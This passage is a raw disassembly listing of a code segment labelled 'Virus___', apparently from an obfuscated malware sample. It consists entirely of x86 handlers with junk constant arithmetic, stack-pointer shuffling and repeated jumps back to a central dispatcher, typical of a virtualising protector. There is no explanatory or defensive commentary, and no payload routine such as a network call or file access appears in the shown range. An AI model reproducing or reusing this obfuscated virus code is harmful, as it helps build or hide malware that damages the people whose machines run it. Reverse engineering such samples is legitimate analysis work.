		sub	eax, 43249BE4h
		add	ebp, eax
		pop	eax
		jmp	loc_55AACB
; ---------------------------------------------------------------------------


loc_555402:				; CODE XREF: Virus___:0055C911j
		xor	ebx, eax
		pop	eax
		mov	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	esi, ebp
		pop	ebp
		xchg	esi, [esp]
		pop	esp
		bswap	eax
		sub	esp, 4
		jmp	loc_555E81
; ---------------------------------------------------------------------------


loc_55541E:				; CODE XREF: Virus___:00557C06j
		pop	edx
		mov	ecx, ebx
		pop	ebx
		add	edi, ecx
		pop	ecx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		add	[esp], ax
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55543B:				; CODE XREF: Virus___:005517A0j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		jmp	loc_55D047
; ---------------------------------------------------------------------------


loc_555452:				; CODE XREF: Virus___:00561B6Fj
		mov	ecx, 4
		jmp	loc_55D643
; ---------------------------------------------------------------------------


loc_55545C:				; CODE XREF: Virus___:0055DF5Bj
		xor	edx, [esp]
		pop	esp
		add	ecx, eax
		pop	eax
		add	ecx, 2
		jmp	loc_55CB84
; ---------------------------------------------------------------------------


loc_55546B:				; CODE XREF: Virus___:005629B8j
		inc	esi
		jmp	loc_558EC4
; ---------------------------------------------------------------------------


loc_555471:				; CODE XREF: Virus___:005544D4j
		mov	[esp], eax
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		jmp	loc_5540EA
; ---------------------------------------------------------------------------


loc_555481:				; CODE XREF: Virus___:00555C65j
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5518AD
; ---------------------------------------------------------------------------


loc_555499:				; CODE XREF: Virus___:0055CD75j
		push	dword ptr [esp]
		jmp	loc_55CFE8
; ---------------------------------------------------------------------------


loc_5554A1:				; CODE XREF: Virus___:005617FAj
		mov	ebx, 51C15B3h
		xor	ebx, 218B5BC5h
		shl	ebx, 4
		add	ebx, 47E34090h
		jmp	loc_552355
; ---------------------------------------------------------------------------


loc_5554BA:				; CODE XREF: Virus___:0055939Bj
		mov	ecx, 4
		add	[esp+4], ecx
		pop	ecx
		pop	edx
		push	ebp
		jmp	loc_5542E4
; ---------------------------------------------------------------------------


loc_5554CB:				; CODE XREF: Virus___:00560749j
		mov	ebx, 2BF23055h
		jmp	loc_561788
; ---------------------------------------------------------------------------


loc_5554D5:				; CODE XREF: Virus___:005568BFj
		mov	ebp, 15487D69h
		xor	eax, ebp
		pop	ebp
		and	eax, 1E7E6C49h
		add	eax, 8967F124h
		add	ebp, eax
		pop	eax
		push	ebp
		add	dword ptr [esp], 3F14484Ah
		pop	eax
		sub	eax, 3F14484Ah
		pop	ebp
		push	ebp
		mov	ebp, 43DA7F11h
		sub	ecx, 57232CBDh
		sub	ecx, ebp
		add	ecx, 57232CBDh
		mov	ebp, [esp]
		add	esp, 4
		add	ecx, eax
		add	ecx, 43DA7F11h
		jmp	loc_55DBF3
; ---------------------------------------------------------------------------


loc_555523:				; CODE XREF: Virus___:005587F7j
		mov	[edi+eax*4+1], cl
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_555532:				; CODE XREF: Virus___:00554AB6j
		push	31155FB6h
		pop	edi
		add	edi, 0D058B89Ah
		shr	edi, 5
		jmp	loc_55F275
; ---------------------------------------------------------------------------


loc_555546:				; CODE XREF: Virus___:0056364Aj
		push	edi
		mov	edi, 4
		add	esi, edi
		jmp	loc_55A317
; ---------------------------------------------------------------------------


loc_555553:				; CODE XREF: Virus___:0055E097j
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_554419
; ---------------------------------------------------------------------------


loc_555560:				; CODE XREF: Virus___:00550CD5j
		push	6BEBh
		mov	[esp], esp
		jmp	loc_55C472
; ---------------------------------------------------------------------------


loc_55556D:				; CODE XREF: Virus___:00563DC8j
		add	esi, 3CDD74F1h
		pop	eax
		xchg	esi, [esp]
		jmp	loc_5608A4
; ---------------------------------------------------------------------------


loc_55557C:				; CODE XREF: Virus___:00553515j
		push	esi
		mov	esi, 0B4A1C1Ah
		inc	esi
		push	edi
		mov	edi, 36583AC5h
		jmp	loc_550397
; ---------------------------------------------------------------------------


loc_55558E:				; CODE XREF: Virus___:0055FF94j
		add	esp, 4
		xor	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	66A3h
		jmp	loc_55D6D5
; ---------------------------------------------------------------------------


loc_5555AA:				; CODE XREF: Virus___:005505C9j
		mov	ecx, [esp]
		push	ecx
		jmp	loc_55B878
; ---------------------------------------------------------------------------


loc_5555B3:				; CODE XREF: Virus___:00557754j
		pop	ebx
		jmp	loc_551EFB
; ---------------------------------------------------------------------------


loc_5555B9:				; CODE XREF: Virus___:00555F2Fj
		add	esp, 4
		add	ebx, 5D2D79F9h
		push	dword ptr [esp]
		pop	ebp
		push	0BE9h
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_559DAE
; ---------------------------------------------------------------------------


loc_5555D5:				; CODE XREF: Virus___:0055814Ej
		add	esp, 2
		add	al, 0AFh
		sub	al, bl
		sub	al, 0AFh
		sub	al, 3Bh
		push	dx
		push	eax
		jmp	loc_55FC90
; ---------------------------------------------------------------------------


loc_5555E8:				; CODE XREF: Virus___:0055E151j
		add	edx, 2C5291D1h
		mov	esi, edx
		pop	edx
		xor	esi, eax
		pop	eax
		add	edi, esi
		mov	esi, [esp]
		add	esp, 4
		xchg	edi, [esp]
		pop	esp
		push	5BF0h
		mov	[esp], ecx
		push	edi
		mov	edi, 1
		mov	ecx, edi
		pop	edi
		and	eax, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_552893
; ---------------------------------------------------------------------------


loc_555625:				; CODE XREF: Virus___:00553A89j
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		push	ecx
		push	esp
		mov	ecx, [esp]
		jmp	loc_5533DD
; ---------------------------------------------------------------------------


loc_555639:				; CODE XREF: Virus___:00559E2Fj
		add	ebx, 4
		jmp	loc_563CFC
; ---------------------------------------------------------------------------


loc_555644:				; CODE XREF: Virus___:0055FF34j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	cl, 74h
		shl	cl, 5
		push	ax
		jmp	loc_552216
; ---------------------------------------------------------------------------


loc_555664:				; CODE XREF: Virus___:005567B4j
		pop	edx
		jmp	loc_55D4F4
; ---------------------------------------------------------------------------


loc_55566A:				; CODE XREF: Virus___:0055A614j
		pop	ebx
		jmp	loc_5510AB
; ---------------------------------------------------------------------------


loc_555670:				; CODE XREF: Virus___:0055DE10j
		sub	eax, 41583217h
		shl	eax, 8
		sub	eax, 0B1740FCh
		add	ecx, 6730C78h
		add	ecx, eax
		jmp	loc_553C05
; ---------------------------------------------------------------------------


loc_55568A:				; CODE XREF: Virus___:00561B3Dj
		pop	edi
		add	esi, 1
		push	edi
		mov	edi, 48A22BA0h
		or	edi, 54702D5h
		xor	edi, 6B01BA83h
		add	esi, edi
		mov	edi, [esp]
		add	esp, 4
		add	[esp+4], esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_552202
; ---------------------------------------------------------------------------


loc_5556BD:				; CODE XREF: Virus___:005553ECj
		shl	esi, 3
		xor	esi, 58BC2A23h
		xor	esi, 0DADBE507h
		add	ecx, esi
		jmp	loc_5621A3
; ---------------------------------------------------------------------------


loc_5556D3:				; CODE XREF: Virus___:00551C70j
		mov	ebp, 2D511C16h
		jmp	loc_556274
; ---------------------------------------------------------------------------


loc_5556DD:				; CODE XREF: Virus___:00561486j
		push	2
		pop	edx
		add	ecx, edx
		pop	edx
		jmp	loc_550FBF
; ---------------------------------------------------------------------------


loc_5556EB:				; CODE XREF: Virus___:005622DDj
		xor	al, bl
		pop	ebx
		push	60BCh
		mov	[esp], ecx
		push	eax
		mov	al, 0EAh
		dec	al
		jmp	loc_564718
; ---------------------------------------------------------------------------


loc_555700:				; CODE XREF: Virus___:00555E70j
		mov	esp, [esp]
		add	esp, 4
		jmp	loc_558DE6
; ---------------------------------------------------------------------------
		mov	sp, [esp]
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_555714:				; CODE XREF: Virus___:00557901j
		push	dword ptr [esp]
		jmp	loc_5550A2
; ---------------------------------------------------------------------------


loc_55571C:				; CODE XREF: Virus___:0055F5FDj
		mov	esi, 188C6565h
		shl	esi, 6
		sub	esi, 2884633Ch
		and	esi, 33BA7D95h
		jmp	loc_561967
; ---------------------------------------------------------------------------


loc_555735:				; CODE XREF: Virus___:0056385Bj
		add	bl, ah
		add	bl, 74h
		pop	ax
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_555747:				; CODE XREF: Virus___:005532BDj
		mov	cl, bl
		jmp	loc_5510A1
; ---------------------------------------------------------------------------


loc_55574E:				; CODE XREF: Virus___:0056386Aj
		mov	esi, esp
		jmp	loc_55129C
; ---------------------------------------------------------------------------


loc_555755:				; CODE XREF: Virus___:0055EAECj
		push	eax
		push	edx
		mov	dl, bl
		mov	ah, dl
		pop	edx
		push	ebx
		push	edx
		mov	dh, ah
		mov	bh, dh
		jmp	loc_55E5AD
; ---------------------------------------------------------------------------


loc_555767:				; CODE XREF: Virus___:0056380Dj
		mov	ecx, 4
		sub	edi, ecx
		pop	ecx
		jmp	loc_551002
; ---------------------------------------------------------------------------


loc_555774:				; CODE XREF: Virus___:00562FC0j
		push	22DAD952h
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_559843
; ---------------------------------------------------------------------------


loc_555787:				; CODE XREF: Virus___:005575EBj
		xor	edi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ch, 0C7h
		push	dx
		mov	dl, 0B5h
		xor	ch, dl
		jmp	loc_550571
; ---------------------------------------------------------------------------


loc_55579B:				; CODE XREF: Virus___:005515E4j
		push	edi
		mov	edi, 768C7162h
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_55B819
; ---------------------------------------------------------------------------


loc_5557AF:				; CODE XREF: Virus___:0055CFD9j
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5626FD
; ---------------------------------------------------------------------------


loc_5557C9:				; CODE XREF: Virus___:0056446Fj
		add	esp, 4
		jmp	loc_561E62
; ---------------------------------------------------------------------------


loc_5557D1:				; CODE XREF: Virus___:00558B36j
		mov	edi, [esp]
		add	esp, 4
		push	16B3h
		mov	[esp], eax
		mov	eax, 5645659Ah
		sub	ebx, eax
		jmp	loc_55BEF8
; ---------------------------------------------------------------------------


loc_5557EB:				; CODE XREF: Virus___:00551BFDj
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_561DD9
; ---------------------------------------------------------------------------


loc_5557F6:				; CODE XREF: Virus___:00555F3Fj
		mov	eax, [esp]
		add	esp, 4
		push	esi
		jmp	loc_563413
; ---------------------------------------------------------------------------


loc_555805:				; CODE XREF: Virus___:005563D5j
		push	esi
		push	1419h
		mov	[esp], edi
		mov	edi, 29A55B11h
		mov	esi, edi
		pop	edi
		add	esi, 41D44B38h
		shl	esi, 1
		and	esi, 54D1255Ah
		jmp	loc_555E1E
; ---------------------------------------------------------------------------


loc_555829:				; CODE XREF: Virus___:005601CEj
		xor	ebx, 2B223C2Fh
		add	edi, ebx
		pop	ebx
		xchg	edi, [esp]
		pop	esp
		and	eax, ebx
		pop	ebx
		shr	eax, 12h
		xor	eax, ecx
		jmp	loc_550761
; ---------------------------------------------------------------------------


loc_555843:				; CODE XREF: Virus___:00550018j
		shl	esi, 6
		shl	esi, 2
		add	esi, 0D1AA2F18h
		jmp	loc_55DCAB
; ---------------------------------------------------------------------------


loc_555854:				; CODE XREF: Virus___:00552AF5j
		sub	eax, 1839211Eh
		jmp	loc_5551F6
; ---------------------------------------------------------------------------


loc_55585E:				; CODE XREF: Virus___:005512C3j
		xor	ebx, [esp]
		jmp	loc_555D13
; ---------------------------------------------------------------------------


loc_555866:				; CODE XREF: Virus___:00555C42j
		shl	cl, 7
		neg	cl
		push	eax
		push	ebx
		jmp	loc_56092D
; ---------------------------------------------------------------------------


loc_555872:				; CODE XREF: Virus___:00561AFEj
		add	esp, 4
		push	ebp
		push	edx
		mov	edx, 50F7845h
		mov	ebp, 0FAF087BFh
		jmp	loc_56260C
; ---------------------------------------------------------------------------


loc_555889:				; CODE XREF: Virus___:0055D627j
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55588E:				; CODE XREF: Virus___:00555220j
		mov	[esp], ecx
		mov	ecx, 6BE74BA7h
		and	ecx, 58EB7740h
		not	ecx
		xor	ecx, 916C8C40h
		push	ebp
		mov	ebp, 2DC61429h
		add	ebx, ebp
		mov	ebp, [esp]
		jmp	loc_562C90
; ---------------------------------------------------------------------------


loc_5558B4:				; CODE XREF: Virus___:00562340j
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_562D01
; ---------------------------------------------------------------------------


loc_5558C2:				; CODE XREF: Virus___:0056189Cj
		pop	dword ptr [esp]
		mov	esp, [esp]
		inc	dword ptr [esp]
		pushf
		jmp	loc_55E70C
; ---------------------------------------------------------------------------


loc_5558D1:				; CODE XREF: Virus___:00556CEAj
		add	esp, 4
		jmp	loc_54FA89
; ---------------------------------------------------------------------------


loc_5558DC:				; CODE XREF: Virus___:005641EEj
		pop	ebx
		add	esi, 1
		shl	esi, 4
		jmp	loc_5551AF
; ---------------------------------------------------------------------------


loc_5558E8:				; CODE XREF: Virus___:0055BC20j
		mov	ebp, 830EF236h
		push	edx
		mov	edx, 4D372486h
		add	ebp, edx
		pop	edx
		sub	ebp, 61965992h
		add	ebp, edx
		add	ebp, 61965992h
		sub	ebp, 4D372486h
		mov	edx, [esp]
		add	esp, 4
		sub	ebx, 7E6B6CD1h
		push	ecx
		mov	ecx, 68707D00h
		dec	ecx
		jmp	loc_55A0D2
; ---------------------------------------------------------------------------


loc_555922:				; CODE XREF: Virus___:00551D64j
		add	cl, 20h
		sub	al, cl
		pop	ecx
		pop	dx
		jmp	loc_5562B8
; ---------------------------------------------------------------------------
		sub	esp, 4
		jmp	loc_56039B
; ---------------------------------------------------------------------------


loc_555937:				; CODE XREF: Virus___:005542D4j
		mov	ebx, 3D7C0845h
		sub	esi, ebx
		jmp	loc_5629B7
; ---------------------------------------------------------------------------


loc_555943:				; CODE XREF: Virus___:005549E0j
		push	61D7h
		mov	[esp], ecx
		push	4046h
		mov	[esp], esi
		jmp	loc_5596C2
; ---------------------------------------------------------------------------


loc_555958:				; CODE XREF: Virus___:005519B5j
		push	ebx
		mov	bl, 0D3h
		xchg	dl, bl
		not	dl
		jmp	loc_5536A1
; ---------------------------------------------------------------------------


loc_555964:				; CODE XREF: Virus___:0055925Ej
		mov	[esp], esi
		mov	esi, 6E1255F1h
		add	esi, 608724B8h
		jmp	loc_555014
; ---------------------------------------------------------------------------


loc_555977:				; CODE XREF: Virus___:0055CB34j
		add	esp, 4
		add	esi, 2B7E5241h
		shl	esi, 3
		shl	esi, 5
		push	ecx
		mov	ecx, 41642ABBh
		shr	ecx, 4
		shl	ecx, 7
		shr	ecx, 8
		push	7F52h
		jmp	loc_54F9CC
; ---------------------------------------------------------------------------


loc_55599F:				; CODE XREF: Virus___:0056219Ej
		add	edx, 4
		push	eax
		jmp	loc_54F89B
; ---------------------------------------------------------------------------


loc_5559AB:				; CODE XREF: Virus___:00556119j
		mov	eax, 1174E6Ah
		add	edi, eax
		pop	eax
		add	edi, edx
		jmp	loc_55AF19
; ---------------------------------------------------------------------------


loc_5559BA:				; CODE XREF: Virus___:005607C9j
		add	esp, 4
		push	edx
		jmp	loc_55BBF6
; ---------------------------------------------------------------------------


loc_5559C6:				; CODE XREF: Virus___:0055B3CDj
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		add	esi, edx
		push	dword ptr [esp]
		jmp	loc_5500BD
; ---------------------------------------------------------------------------


loc_5559DB:				; CODE XREF: Virus___:0055BFD8j
		mov	dh, 1Bh
		jmp	loc_560819
; ---------------------------------------------------------------------------


loc_5559E2:				; CODE XREF: Virus___:005502A4j
		sub	dword ptr [esp+4], 5D89705Fh
		add	dword ptr [esp+4], 5F2E7D47h
		pop	esi
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	eax
		mov	eax, 4F3C5A40h
		push	edx
		mov	edx, 0B0C3A5C4h
		jmp	loc_559B10
; ---------------------------------------------------------------------------


loc_555A13:				; CODE XREF: Virus___:00550C10j
		add	eax, ebx
		pop	ebx
		mov	edx, [esp]
		add	esp, 4
		sub	eax, 40821BCCh
		add	eax, edx
		add	eax, 40821BCCh
		sub	eax, 2A250335h
		jmp	loc_561AB2
; ---------------------------------------------------------------------------


loc_555A35:				; CODE XREF: Virus___:00557EB2j
		mov	ebp, 5BC2650Ch
		add	esi, 1AAF02FCh
		jmp	loc_563A2A
; ---------------------------------------------------------------------------


loc_555A45:				; CODE XREF: Virus___:00550739j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_552A9A
; ---------------------------------------------------------------------------


loc_555A62:				; CODE XREF: Virus___:0055B702j
		mov	edx, 4
		jmp	loc_561CFD
; ---------------------------------------------------------------------------


loc_555A6C:				; CODE XREF: Virus___:00554067j
		xor	ecx, [esp]
		jmp	loc_5646E0
; ---------------------------------------------------------------------------


loc_555A74:				; CODE XREF: Virus___:00563519j
		mov	edi, edx
		mov	ecx, edi
		pop	edi
		pop	edx
		add	ecx, edi
		push	ebx
		jmp	loc_55CA85
; ---------------------------------------------------------------------------


loc_555A82:				; CODE XREF: Virus___:0055297Fj
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_55D9C5
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_550348
; ---------------------------------------------------------------------------


loc_555A9C:				; CODE XREF: Virus___:005637ACj
		mov	dh, ah
		pop	eax
		mov	ebx, [esp]
		add	esp, 4
		mov	al, dh
		pop	edx
		push	edx
		jmp	loc_556370
; ---------------------------------------------------------------------------


loc_555AAE:				; CODE XREF: Virus___:00551348j
		pop	ecx
		add	al, dh
		add	al, 28h
		jmp	loc_564A55
; ---------------------------------------------------------------------------


loc_555AB8:				; CODE XREF: Virus___:005547ACj
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_555ABD:				; CODE XREF: Virus___:0055D0BCj
		push	ebx
		mov	bl, 0B6h
		jmp	loc_561EED
; ---------------------------------------------------------------------------


loc_555AC5:				; CODE XREF: Virus___:00558F85j
		mov	esi, 4A780ADAh
		sub	esi, 0D4F0D3E3h
		jmp	loc_553D72
; ---------------------------------------------------------------------------


loc_555AD5:				; CODE XREF: Virus___:005582D3j
		push	1B92h
		mov	[esp], edi
		push	243E09A6h
		pop	edi
		jmp	loc_551604
; ---------------------------------------------------------------------------


loc_555AE8:				; CODE XREF: Virus___:00563D1Fj
		push	2123531Dh
		pop	ebp
		dec	ebp
		push	esi
		mov	esi, 0ABFEFF06h
		sub	ebp, esi
		pop	esi
		mov	eax, ebp
		pop	ebp
		jmp	loc_562B6B
; ---------------------------------------------------------------------------


loc_555B00:				; CODE XREF: Virus___:005638A9j
		add	edx, 30767176h
		jmp	loc_562F14
; ---------------------------------------------------------------------------
		push	1FC1h
		mov	[esp], ebp
		push	ecx
		mov	ecx, 7926C19h
		push	edi
		jmp	loc_563CC3
; ---------------------------------------------------------------------------


loc_555B1F:				; CODE XREF: Virus___:005550DCj
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		jmp	loc_558674
; ---------------------------------------------------------------------------


loc_555B2C:				; CODE XREF: Virus___:0055DA41j
		dec	ch
		dec	ch
		not	ch
		not	ch
		sub	ch, 97h
		add	dl, ch
		pop	ecx
		add	al, dl
		pop	edx
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		jmp	loc_553B35
; ---------------------------------------------------------------------------


loc_555B59:				; CODE XREF: Virus___:0055745Cj
		mov	[esp], edx
		push	edi
		mov	edi, 4C057C30h
		mov	edx, 759A239Dh
		xor	edx, edi
		pop	edi
		sub	edx, 399F5FA9h
		add	ebp, edx
		pop	edx
		push	988h
		jmp	loc_558454
; ---------------------------------------------------------------------------


loc_555B7D:				; CODE XREF: Virus___:00550809j
		add	esp, 4
		push	ebp
		mov	ebp, esp
		jmp	loc_56034F
; ---------------------------------------------------------------------------


loc_555B8B:				; CODE XREF: Virus___:0055E4FAj
		pop	esi
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_5580BB
; ---------------------------------------------------------------------------


loc_555B9B:				; CODE XREF: Virus___:0055C2BCj
		sub	ebx, eax
		pop	eax
		push	7425h
		mov	[esp], edi
		jmp	loc_550BA6
; ---------------------------------------------------------------------------


loc_555BAB:				; CODE XREF: Virus___:0054FFCAj
		pop	ebx
		push	7437h
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_56452D
; ---------------------------------------------------------------------------


loc_555BCA:				; CODE XREF: Virus___:00561C40j
		sub	edi, eax
		mov	eax, [esp]
		add	esp, 4
		sub	esi, 6BF36330h
		add	esi, edi
		push	ecx
		jmp	loc_555E9D
; ---------------------------------------------------------------------------


loc_555BE3:				; CODE XREF: Virus___:005584ADj
		push	5CCDh
		jmp	loc_560F88
; ---------------------------------------------------------------------------


loc_555BED:				; CODE XREF: Virus___:005604D1j
		push	ebx
		mov	ebx, 79333B38h
		jmp	loc_55C928
; ---------------------------------------------------------------------------


loc_555BF8:				; CODE XREF: Virus___:00563F27j
		pop	ebp
		add	[esp+4], eax
		jmp	loc_5524C5
; ---------------------------------------------------------------------------


loc_555C02:				; CODE XREF: Virus___:00563E65j
		sub	ebx, 77D01EB3h
		sub	ebx, 1BCC5326h
		sub	ebx, eax
		push	eax
		jmp	loc_5590C0
; ---------------------------------------------------------------------------


loc_555C16:				; CODE XREF: Virus___:0056171Ej
		sub	esp, 4
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55824E
; ---------------------------------------------------------------------------


loc_555C2B:				; CODE XREF: Virus___:0055A8B7j
		mov	al, 0BFh
		xor	bl, al
		pop	eax
		neg	bl
		push	ax
		mov	ah, 65h
		add	bl, ah
		jmp	loc_5622DB
; ---------------------------------------------------------------------------


loc_555C3D:				; CODE XREF: Virus___:00559582j
		push	ecx
		mov	cl, 43h
		neg	cl
		jmp	loc_555866
; ---------------------------------------------------------------------------
		push	dword ptr [edi+3Ch]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_559298
; ---------------------------------------------------------------------------


loc_555C5C:				; CODE XREF: Virus___:0056048Aj
		pop	esp
		mov	[esp], ebp
		push	6C52h
		jmp	loc_555481
; ---------------------------------------------------------------------------


loc_555C6A:				; CODE XREF: Virus___:0055F89Ej
		and	edx, 3D565FCEh
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_55C052
; ---------------------------------------------------------------------------


loc_555C7D:				; CODE XREF: Virus___:0055A4D1j
		xor	dh, 16h
		push	eax
		push	ebx
		jmp	loc_556B93
; ---------------------------------------------------------------------------


loc_555C87:				; CODE XREF: Virus___:005522F5j
		sub	ecx, 65B828A8h
		add	ecx, 3E446D4h
		xor	ecx, 6F957AA5h
		sub	ecx, 3A3E4314h
		jmp	loc_5597FA
; ---------------------------------------------------------------------------


loc_555CA4:				; CODE XREF: Virus___:00558559j
		push	esi
		jmp	loc_55CE97
; ---------------------------------------------------------------------------


loc_555CAA:				; CODE XREF: Virus___:005597BCj
		sub	ecx, 4
		push	ecx
		jmp	loc_560482
; ---------------------------------------------------------------------------


loc_555CB6:				; CODE XREF: Virus___:00556042j
		push	esi
		neg	dword ptr [esp]
		pop	esi
		jmp	loc_55D7F4
; ---------------------------------------------------------------------------


loc_555CC0:				; CODE XREF: Virus___:00556CE0j
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_555CCC:				; CODE XREF: Virus___:0055021Ej
		push	ecx
		mov	ecx, 152D3781h
		jmp	loc_552394
; ---------------------------------------------------------------------------


loc_555CD7:				; CODE XREF: Virus___:00550F93j
		push	dword ptr [esp+4]
		mov	eax, [esp]
		jmp	loc_552EF1
; ---------------------------------------------------------------------------


loc_555CE3:				; CODE XREF: Virus___:0055A1CEj
		push	edi
		push	esp
		mov	edi, [esp]
		jmp	loc_5563CC
; ---------------------------------------------------------------------------


loc_555CED:				; CODE XREF: Virus___:0056432Fj
		pop	esp
		xor	[esp], eax
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_555CF6:				; CODE XREF: Virus___:0055392Ej
		push	258711E0h
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_559509
; ---------------------------------------------------------------------------


loc_555D13:				; CODE XREF: Virus___:00555861j
		mov	esp, [esp]
		rol	byte ptr [esp],	cl
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_555D1F:				; CODE XREF: Virus___:005630D2j
		neg	bx
		or	bx, 45D6h
		jmp	loc_552617
; ---------------------------------------------------------------------------


loc_555D2C:				; CODE XREF: Virus___:00554304j
		sub	ecx, 140A17CCh
		sub	ecx, 50CE6AC9h
		sub	ecx, 9F645047h
		shr	ecx, 4
		xor	ecx, 22559Fh
		jmp	loc_564772
; ---------------------------------------------------------------------------


loc_555D4C:				; CODE XREF: Virus___:0055DA17j
		add	cl, ah
		pop	ax
		push	eax
		mov	ah, 93h
		dec	ah
		push	edx
		mov	dl, 6Ch
		jmp	loc_563F5A
; ---------------------------------------------------------------------------


loc_555D5D:				; CODE XREF: Virus___:00560E9Bj
		push	edx
		jmp	loc_563CE8
; ---------------------------------------------------------------------------


loc_555D63:				; CODE XREF: Virus___:0056352Ej
		add	bx, 66CCh
		shl	bx, 7
		shr	bx, 7
		add	bx, 2Fh
		jmp	loc_55F136
; ---------------------------------------------------------------------------


loc_555D7A:				; CODE XREF: Virus___:00557875j
		inc	bx
		jmp	loc_5630CE
; ---------------------------------------------------------------------------


loc_555D81:				; CODE XREF: Virus___:00563E41j
		xor	ch, 0B0h
		jmp	loc_56406E
; ---------------------------------------------------------------------------


loc_555D89:				; CODE XREF: Virus___:005619BAj
		mov	edx, ecx
		pop	ecx
		sub	eax, 764427B9h
		add	eax, 4E467A30h
		add	eax, edx
		sub	eax, 4E467A30h
		add	eax, 764427B9h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55F0B4
; ---------------------------------------------------------------------------


loc_555DB0:				; CODE XREF: Virus___:00563BFEj
		mov	eax, 4
		add	ebp, eax
		jmp	loc_560BEC
; ---------------------------------------------------------------------------


loc_555DBC:				; CODE XREF: Virus___:00551262j
		inc	byte ptr [esp+1]
		pop	edx
		push	ecx
		jmp	loc_5510DB
; ---------------------------------------------------------------------------


loc_555DC7:				; CODE XREF: Virus___:00551C82j
		mov	eax, 6AC03FB2h
		xor	eax, 5955119Dh
		xor	eax, 274E45C3h
		jmp	loc_552D22
; ---------------------------------------------------------------------------


loc_555DDB:				; CODE XREF: Virus___:005545E3j
		push	4828h
		mov	[esp], edi
		push	56C5h
		mov	[esp], esp
		push	edx
		mov	edx, 4
		add	[esp+4], edx
		push	dword ptr [esp]
		jmp	loc_553BCD
; ---------------------------------------------------------------------------


loc_555DFD:				; CODE XREF: Virus___:0056235Dj
		mov	[esp], ecx
		mov	ecx, 6EB331FBh
		or	ecx, 65C1226Ah
		neg	ecx
		neg	ecx
		neg	ecx
		xor	ecx, 792CE6CDh
		add	ebp, ecx
		jmp	loc_561C9D
; ---------------------------------------------------------------------------


loc_555E1E:				; CODE XREF: Virus___:00555824j
		push	ecx
		jmp	loc_5644E0
; ---------------------------------------------------------------------------


loc_555E24:				; CODE XREF: Virus___:0055432Aj
		push	ebx
		jmp	loc_561070
; ---------------------------------------------------------------------------


loc_555E2A:				; CODE XREF: Virus___:00555071j
		mov	eax, 76FC5E82h
		sub	edi, eax
		pop	eax
		add	edi, 1
		sub	edi, 0FFFFFFFFh
		and	edi, 3F541D05h
		xor	edi, 4100401h
		sub	ecx, 49F47695h
		add	ecx, edi
		add	ecx, 49F47695h
		jmp	loc_5620FF
; ---------------------------------------------------------------------------


loc_555E57:				; CODE XREF: Virus___:00551B54j
		shr	al, 4
		shr	al, 1
		add	al, 0D6h
		not	al
		jmp	loc_55481C
; ---------------------------------------------------------------------------


loc_555E65:				; CODE XREF: Virus___:0055DEB3j
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		xchg	ebx, [esp]
		jmp	loc_555700
; ---------------------------------------------------------------------------


loc_555E75:				; CODE XREF: Virus___:00551700j
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_54F7ED
